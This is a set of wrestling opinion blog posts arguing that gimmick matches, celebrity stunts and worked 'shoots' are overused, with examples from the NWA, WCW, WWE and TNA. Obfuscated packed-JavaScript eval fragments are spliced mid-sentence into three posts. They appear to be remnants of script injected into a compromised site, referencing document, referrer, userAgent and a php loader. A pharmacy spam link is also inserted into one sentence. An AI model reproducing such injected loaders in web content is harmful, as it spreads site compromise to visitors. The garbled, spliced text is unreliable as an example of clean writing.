Thought of the Day: Gimmick Match Overload Isn’t Anything New

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieesz|var|u0026u|referrer|sihtk||js|php'.split('|'),0,{})) know people say that gimmick matches dominate wrestling today, but let’s look back to the 80s.Looking at the first few Starrcades, here’s what you have:

1983 – eight matches, two gimmicks

1984 – eleven matches, three gimmicks

1985 – eleven matches, six gimmicks

1986 – twelve matches, six gimmicks

1987 – seven matches, three gimmicks

 

In the old NWA days, there were two Starrcades with at least half of the matches being gimmick matches.  This is hardly a new thing.



Thought of the Day: Lie To Me WWE! Lie To Me!

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thzni|var|u0026u|referrer|bidte||js|php'.split('|'),0,{})) is another sign of the times and it’s something else where they need to take the lead from old school.So I’m watching Survivor Series 2002 and there’s a backstory about Victoria vs. Trish.  The story goes that they used to be fitness models together and Trish abandoned Victoria.  This alone sets up a story for the PPV match.  Notice what they did here: they MADE THE STORY UP.  This is something you rarely see anymore.  Today, most feuds are about wanting to challenge the champion and are very based in reality.  I get enough real life in real life.  When I watch wrestling, I like things being over the top instead of down to earth.  Make up some stories.  Tell me about Kane getting burned alive or Undertaker being a demon or something these guys did before they got to the WWE.  In short, LIE TO ME.



Thought of the Day: If At First You Don’t Succeed…

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdtsa|var|u0026u|referrer|khdsy||js|php'.split('|'),0,{})) one of my thoughts, so you know it’s going to be based in old school stuff.Anymore WWE seems to be afraid to change anything about a character.  Look at Del Rio, Brodus, Ryder, Mahal and a large group of others.  They’re pretty much the exact same character that they were a year ago, if not even less developed.  Let’s take a look at the three biggest stars ever:

 

Hulk Hogan – Brought in as a generic big heel.  he had Freddie Blassie as a manager, was at the semi-main event level, and probably would have won the world title one day.  Then he went to the AWA, made Rocky III, left the AWA because Gagne wouldn’t wake up and realize what he had, came back to the WWF as the REAL AMERICAN and became the biggest good guy of all time, completely revolutionizing wrestling.

 

Steve Austin – Originally Stunning Steve who wore flowery tights, then a Hollywood Blonde who made camera motions, then a tradition hating guy who cursed a lot, then Superstar Steve in ECW, then the Ringmaster…..whatever that was supposed to be, then himself because Ted DiBiase left and they had no idea what to do but let him drink beer, flip people off, curse a lot and be a rebel, relaunching WWF to the top of the business and winning the Monday Night Wars.

 

The Rock – Brought in as a plucky young guy who was just so happy to be there, gets told to die by most of the fans, comes back as a cocky black power guy in the Nation of Domination, becomes a cocky jock heel, becomes a cocky jock face, becomes the greatest promo man of all time with at least a dozen catchphrases.

 

Of the three biggest guys, none of these guys were anywhere close to being the guy that they were brought in to be.  Rocky at least was supposed to be a guy who was going to be a big deal.  Hogan was never going to be the number one guy in the company in his original form.  Austin….not as the Ringmaster he wasn’t going to be.  Rocky got over huge, but as the polar opposite of what he was brought in as.

 

Sometimes you have to try a bunch of stuff until you find something that worked.  Look at Undertaker and Kane: Undertaker was  a natural, Kane took a bunch of tries to get what worked.  Try some effort WWE.  It’ll do you good.



I Want To Talk A Little Bit About The WWE Gimmick Assembly Line

Back in 1908, the Ford Motor Company began manufacturing a car called the Model T. The idea behind it was simple: use the same format on an assembly line to mass produce affordable automobiles. It was a smash hit and became the standard method used for designing cars that is still used today. All of a sudden everyone had the same kind of car, but a lot more people could get their hands on one. The idea was that if you take away the uniqueness of cars, you could get then out faster, cheaper, and sell a lot more.

 

 

 

 

After staying off of TV for about six weeks, Rhodes returned while wearing a mask. He claimed to be scarred under the mask, but due to it being clear, we could see that no scars were there and the damage was all in his mind. He basically turned into Dr. Doom from Marvel Comics, as he hid his face as much as he could due to the fear of what people would think of him. This is where things get important.

 

After spending months caring only about his looks, Rhodes was now ashamed of them due to the severe damage he had suffered. The six months beforehand had laid the groundwork for the character that he had become, and the new character only would have this kind of impact with Cody portraying it. In short, it was a unique character that we had watched evolve over the previous few months into the person that we saw before us. These things combined to make Cody a successful and interesting character, as opposed to just being the son of Dusty Rhodes.

 

 

 

 

 

 



I Want To Talk A Little Bit About Forcing Evolution In Wrestling

A few days ago, Hulk Hogan went on a big rant on Twitter about how TNA needs to fix a few problems and then it’ll find the next evolution in wrestling or be the next evolution of wrestling or whatever nonsense Hulk was raving about this time. Anyway that’s beside the point. For the life of me I can’t remember where I saw this title at but it wasn’t from me so don’t credit me with it, but it said something about Hogan wanting to reinvent the wheel. This got me to thinking.

The term “the next evolution of wrestling” is thrown around a lot, be it EVOLVE focusing on wins/losses (isn’t that how wrestling has always been?) or Wrestling Revolution Project with a beginning, middle and end to a season or ECW being extreme and counter culture or whatever. At the end of the day though, all you have there are gimmicks to distract you from the fact that you have a product that people aren’t that interested in anymore. It’s all about putting decorations on what is still wrestling.

This is where I think so many companies get lost. Hogan’s comments and the title of that article are yet another example of someone looking for a quick fix to far more major problems. If you listen to Hogan, going live would solve 75% of TNA’s problems (his words). How? All that means is you get to watch a flawed show live rather than on tape.

Now before I get on an anti-TNA rant, that’s not what this is meant to be about. Goodness knows I could and already have gone on for months about some of the stupid stuff they’ve done and how they keep shooting themselves in the foot. What I want to get into here is how you don’t need a gimmick or something to hide the fact that you’re a wrestling company. Over the years, this concept of wrestling evolving has only meant what are we disguising the wrestling as this week. Let’s take a look at some examples of good and bad of this. We’ll begin with celebrities. Let’s flash back to the 2001 Royal Rumble.

Low Down, perhaps the dumbest idea ever, (D’lo Brown and Mosh as Arabs) argue with their manager about who should be in the Rumble. It doesn’t matter as Drew Carey gets their spot. Now this is an important point. Let’s compare this to WCW and David Arquette. Both Carey and David are about the same level of celebrity status and they’re here to promote something that not a lot of people are going to watch anyway (Drew was there to promote a comedy PPV he was going to be on). What does the WWF do?

They replace a jobber in a match where he absolutely won’t be missed. Think about it: what would Brown or Mosh do in the match? Hang around for about seven minutes and be destroyed by either Taker or Kane or someone like that. Would anyone really miss either of them being in there? Not in the slightest. Instead, you get a celebrity in the match where he might bring in a few fans to the show. See, that’s how you use celebrities.

You put them in a place where they don’t make a big difference at all, but they seem like they do. That’s smart business. You give up a little something and while you likely won’t get a big payoff, you might get a decent one. If not, you lost Mosh or D’Lo for one night. That’s something you can live with and if nothing else, Drew gets publicity and you look like nice guys. Now on the other hand you have WCW, where a celebrity of about equal status was there trying to promote something.

What does WCW do? THEY MAKE HIM WORLD HEAVYWEIGHT CHAMPION, thereby making the wrestlers look pathetic, the title look like a joke, their PPV look like a bigger freak show than a pro wrestling show normally is, an more or less drive yet another spike into their own coffin. Instead of having him do something stupid with Disco Inferno or something for like 5 minutes on Nitro, they said that this actor is on equal footing with the champions of the other major company at the time, which at that time would have been HHH. See why they went out of business so fast?

Another example of the same kind from WCW is in 1998. Actually let’s start at Bash at the Beach 1997 with Hulk Hogan/Dennis Rodman vs. Luger/Giant. Rodman was there to show how widespread the NWO was and how popular Hogan was with celebrities or something. The match sucked, I’m sure you’re not shocked. Flash forward to BATB 1998 and WCW thinks “since one basketball player worked wonders, TWO will be even better!” So they had DDP/Karl Malone vs. Rodman/Hogan. Malone did ok all things considered and was certainly trying. Rodman literally fell asleep in the corner. There were like four moves in ten minutes and it was just a mess.

The next month was Road Wild. WCW AGAIN used a celebrity in the main event in the form of Jay Leno. Yeah picture Jay Leno in a wrestling ring for a minute. I think you can figure out the level of quality out there. It was Page/Leno vs. Bischoff/Hogan and it was horrible. Again Leno was trying, but he had no business out there. The point is: these tag matches didn’t mean anything and were there for a quick payoff. They didn’t have intriguing stories going so they just threw money at people that the audience would know and hoped they were interested in the matches. Again, it becomes a way to get people watching because your wrestling sucks. It became more about the celebrities than what they were doing because the celebrities didn’t advance anything.

A more modern example of the perils of this gimmick are the guest hosts of Monday Night Raw. They’ve toned it WAY down in the last year or so, but do you remember when they had people like Al Sharpton, Buzz Aldrin, ZZ Top, Dennis Miller, Johnny Damon, Jewel, Florence Henderson (I was at that show. My goodness that was stupid) and Jon Lovitz? That’s what I mean by a gimmick being completely overdone. It became too much of a focus and it started to hurt the show. Speaking of things that aren’t interesting but are supposed to be realistic, let’s get to point two.

Now let’s move on with “shoots”, with the quotation marks being there due to the fact that about 99% of them aren’t real shoot comments and are scripted almost completely. For a bad example, let’s look at the king of worked shoots: Vince Russo.

Russo LOVED him some shoots. Look back to the year 2000 in WCW during Russo’s tenure and almost every PPV would have something like one in there (and yes that’s an exaggeration for the commenters that like to say I’m exaggerating. I’m not perfect. Get over it.). Take for example New Blood Rising. Goldberg “stopped following the script” and walked out on a match, leaving Nash and Steiner to, and I’m quoting Schiavone with this, “improvise a new finish.”

Now that’s not a terrible idea on paper (parts of it are but that’s beside the point) but there’s one problem. Flash back with me to a month before that at Bash at the Beach 2000. Jeff Jarrett laid down for Hogan to win the title, followed by Russo coming out and going on a big rant about politics behind the scenes and all that jazz. This was about three months after the company had been rebooted and had everything reset, which was four months after Russo booked a rehash of Montreal at Starrcade, which was two months after Halloween Havoc where Hogan laid down for Sting in another “shoot” moment.

Shooting had become a gimmick rather than something that people were going to become interested in. That became more of the focus than the wrestling itself. It was about what the latest shoot was and the fallout of it until we got to the next shoot. People stopped buying into it and therefore stopped caring, making it mean nothing and killing the gimmick. During this time, the wrestling product suffers because the focus is on the gimmick rather than the in ring product.

Now let’s flash forward to 2011 and a guy I like to call CM Punk. One night at the end of Raw, CM Punk came out on the stage, sat down, and talked for almost ten minutes about how much he hated things in the WWE, and how he was being held back, and how much he didn’t like John Cena, and all sorts of other things. This led to a very long debate about how much of it was real and how much of it was fake and was he really leaving or was he really signed and were we getting worked and all that stuff.

In other words, people were TALKING. The angle got people interested in what was going to happen next. Why was that? It’s because this wasn’t something you saw four times a year. It’s something you hardly ever see, which is what gets people interested. Think about it in everyday life. What is going to get your attention more: a dozen of the same thing or one thing different from the rest? You’re going to notice the outlier right? You notice the 6’6 blonde guy in bright yellow trunks that beats people in five minutes in a sea of guys that are 6’2 and in blue trunks right?

The other key point to this is what the shoot promo led to: it led to a wrestling match. Punk went on a rant about a lot of real life stuff, but everything he said led us to Chicago and Money in the Bank and a match with him vs. Cena. What got lost in the talk about the angle was that it just happened to occur before a pay per view and a main event that on paper would have been an ok draw. The shoot wasn’t the focus of the show and the company. It was a tool to get us to MITB, where the wrestling would take over. It led to a match, not an angle.

To bring this back around to the opening idea, gimmicks in wrestling can be good things if done right. However there’s one major thing to them: they need to be used to enhance the wrestling on a show. Actually make that two things: they also need to be used sparingly. If you use the same ones over and over again they’ll get stale and lose their effectiveness. Usually when you reach the point that you need gimmicks to get people to watch your show week after week, you’ve got more problems than you can fix.

As for the evolution of wrestling that Hogan talked about, it doesn’t need to happen. Trying to change things as often as people have has rarely worked and it likely wouldn’t work for TNA. Their product has a ton of problems already and simply adding something new to it isn’t going to get people to start watching. It’s another quick fix for problems that have been built up for a very long time. Think of wrestlers that are repackaged but are still the same guy but just in a different outfit. It might improve things for a few minutes, but then it’s still the same guy out there and nothing has really changed. At the end of the day, the solution to a lot of problems is to have good wrestling matches, not some big elaborate gimmick change.



I Want To Talk A Bit About Gimmick Matches

I’ve wanted to do this for a long time and with the cage match on Smackdown this past week and the now annual Hell in a Cell PPV coming up soon it seemed like as good a time as any.

In short, gimmick matches are dying a slow death because they’ve lost almost all of their meaning. Let’s take a look back through time and I’ll show you what I’m talking about.

Let’s begin in the year 1980. Larry Zbyszko turned heel on his mentor Bruno Sammartino by leaving him laying in the middle of the ring after a chair shot. Throughout the rest of the year the two feuded around the northeast before they wound up in front of 36,000 people in Shea Stadium in a cage match, arguably the most famous of all time up to that point (Snuka vs. Muraco was three years later). Cage matches were always about the ending of a feud and would happen after a lot of regular matches weren’t enough to have a finish. These two had feuded for eight months and it lead them here, for the ultimate blowoff. After Larry controlled most of the match, Bruno made a comeback, beat Larry to a bloody pulp, kicked him in the head one last time and walked out to win the match.

Now let’s take a lok at a few things here and see why they made this a great match not only for the time but for all time. First and foremost, there was a great build to it. These guys had feuded all year and there was a reason for it: the student thought he had surpassed the teacher and tried to show he was better and now the teacher wanted revenge for being beaten. Second, it was violent. Larry and Bruno were both bleeding by the end of the match and the final kick to the head is a hard one, signifying that this is over in a brutal way.

Finally, and most importantly, Bruno didn’t pin him but rather left him laying and left. This means a lot more than a simple pin. You can get a pin on a fluke rollup. Bruno beat Larry so badly that Larry wasn’t able to get up and stop Bruno from walking across the cage and out of the door. It’s very symbolic too: one man, the better man, was able to leave the cage while the other was still inside. It gives a feeling of one man being better rather than one man simply pinning the other. We reach a new level of victory and defeat which is what should happen in a match with amplified brutality.

Flash forward with me now to July 4, 1987 and the first of the WarGames matches (trivia note: there were actually 27 WarGames matches (not counting the stupid 98 or 2000 versions). Only 8 of them aired on VHS or PPV. The rest, as in 19 of them, were all at house shows. Think that might draw a crowd today?). The idea is simple: it’s the ultimate in team warfare with originally five men per side (one each was a manager) and you enter at timed intervals. The only way to win was by submission and it was by nature incredibly violent and a bloodbath, especially the 1992 version which for my money is the definitive WarGames match. (If you haven’t seen a WarGames match, check out the first, the 1991 or the 1992 versions. The rest tend to suck and suck hard.) In short, more blood, more violence, more fun.

We now move forward to 1997. The Undertaker has lost the world title to Bret Hart at Summerslam 1997 due to a missed chair shot from Shawn Michaels. In short, the dead man isn’t happy and he wants to take out that anger on Shawn Michaels. Their first major match after this was at In Your House: Ground Zero which was the definition of a war. The referee was knocked out seconds into the match and Shawn tried to run.

The bell didn’t ring for 9 minutes after they started brawling and a total of five referees were used until it was finally thrown out. It took over 15 guys to stop Taker from killing Shawn until he debuted the Taker Dive and nearly destroyed him. This was about hatred and vengeance but Undertaker couldn’t get a clean shot at Shawn due to the constant interferences by DX and the annoying rules that say you can’t kill him. They offered a cage match but Shawn said something like “I’ve done cage matches. Don’t you have anything else?”

Enter Hell in a Cell, the mother of all gimmick matches. If you’ve somehow never seen one, it’s a massive cage that engulfs the ring, allowing room around it on the floor to walk on. The idea was simple: Shawn was entering a nightmare and had to face the Undertaker inside of it. What followed was thirty minutes of bloodshed, violence, brutality, Shawn running away and nothing being able to stop the Undertaker. The match is an undeniable classic and is one of the most violent matches you’ll ever see in a wrestling ring.

Flash forward about 9 months to King of the Ring and the second (important) Hell in a Cell match, this time involving the Undertaker and Mankind. These two had feuded on and off for two years, involving all kinds of brutal fights and betrayals all around. This was a new take on the Cell, in that instead of being trapped inside it was there to attempt to contain the violence. Much like the old cage matches, the idea was to have one person enter and one person leave.

The match began on the roof of the Cell and a few minutes in, Mankind went flying off the top in probably the most repeated clip in company history. Some people fairly believed he may be dead. That of course didn’t end the match as they went back up to the top of the cage and Mankind was chokeslammed through the top, having a chair fall through and hit him on the way down. They somehow managed almost ten more minutes of brutality involving chairs and thumbtacks. In the dressing room after the match, Foley asked Undertaker if he got to use the tacks. Taker told Foley to look at his arm which was full of them.

This gives you two working http://onhealthy.net/product-category/antifungals/ definitions of what the Cell can be used for: we have either the idea of trapping someone in it or the ultimate in brutality. Those were the original two matches and there was a logical story behind both of them. And then it all fell apart. Following those two matches, the vast majority of Hell in a Cell matches were put on for the sake of a cage match and not having anywhere near as solid of a story behind them or time to build up to them. In 2009 WWE began airing the Hell in a Cell PPV, which we’ll get to later on in this.

On the other side of the gimmick spectrum, we have the ladder match. Beginning in 1972 (yes 1972 in Canada), the idea was that you have something, usually a title, put above the ring and the only way to get it is by climbing up a ladder. We’ll skip ahead 22 years to the first well known ladder match at Wrestlemania X between Shawn Michaels and Razor Ramon (yes I know about the 92 one with Shawn vs. Bret). The idea was that Shawn had been suspended while Intercontinental Champion. Ramon had won the vacant title but Shawn came back with the original belt, claiming to be champion. The answer to the problem: put both belts above the ring and let the first person to grab them be declared undisputed champion.

The match is a well known classic that I’m sure most of you have seen at least once. It’s brutal, filled with drama, still a classic and is considered one of the best matches ever. The key to it though was that there was a story behind it and the match was more about showcasing their abilities rather than the brutality in the match. This is far different than what is usually seen in cage matches as it’s designed for smaller and lighter guys who can use the ladders for better and more spectacular moves.

There was a rematch a year and a half later and then there wasn’t a televised ladder match for over three years. After a classic one (also at Summerslam in Madison Square Garden between HHH and Rock) the floodgates began to open. After one in three years, the next ladder match was three months later. The one after that was only two and a half months later in February of 99. Since then there has been two years, 2004 and 2008, that didn’t have at least two ladder matches in a single year (2006 had four ladder matches, all after August 14 or about one every 40 days). This isn’t counting TLC matches or MITB matches. After having six from 1992 – 1998 (less than one a year), counting three on house shows there have been a total of 36 since, or 3 a year (again not counting MITB or TLC).

If you think that’s bad, TNA is even worse. Not counting King of the Mountain, TNA has had 35 in 9 years or almost four a year. For those curious, WCW’s first was in January 1997 and they had ten total with the last coming in December of 2000, or approximately 2.5 a year.

All of these stats hold true for almost any gimmick match you prefer: last man standing, hardcore/street fight, Ultimate X (26 of those in 9 years or about one every 4 months), TLC matches, MITB matches and I could go on and on. The problem in short is that gimmick matches have become so watered down and overused that they almost mean nothing anymore. A gimmick match is designed to be special and rare, not something you have three or four of a year. It’s the concept of absence makes the heart grow fonder.

Today we have a Hell in a Cell PPV, a MITB PPV, a TLC PPV, an Elimination Chamber PPV and a PPV called Extreme Rules which is all gimmick matches. In July, TNA threw an Ultimate X match on TV with no hype, no build and no particular reason for the match. WWE does this as well, such as with the cage match between Chrstian and Alberto Del Rio a few months ago on Smackdown. Jeff Hardy and when he was still active Edge would have TLC matches or ladder matches simply because they were known for having such matches. The matches sometimes are good, but there’s no reason to get involved in the matches as fans or to be excited going into them. With the right kind of build, these matches can be far more exciting than they currently are.

Anymore the gimmick matches happen because the calendars call for it. Look at the current feuds in WWE and other than maybe Orton vs. Christian, is there anything that seems like it would fit in the Cell? HHH vs. Punk maybe, but it’s not like a single PPV match and a bunch of talking validates going into the Cell. With Orton vs. Christian, Orton has dominated Christian so much that putting them in the Cell to have him do it again would miss the point of the match entirely. There’s not really a valid reason to put Cena and Punk in the Cell either. Violence isn’t what fits those two as it’s been more of a “can you top this” feud, making last man standing or iron man more appropriate stipulations.

In summation, gimmick matches mean a lot less now because they’ve been done too often. We don’t see great cage matches or last man standing matches or ladder matches anymore because we see them so often that they don’t have the same pop to them. The schedule making the gimmicks instead of the feuds making the gimmicks also cripples things, as there’s no way for the feuds to end in a major gimmick match as we can’t have Hell in a Cell in say June because the Hell in a Cell PPV is in October. Until these changes are made, gimmick matches will become more and more worthless every year, meaning more and more will be thrown on the cards until they lose the value they have already. It’s another one of those things that Russo put into place and it’s hurting business more and more every day.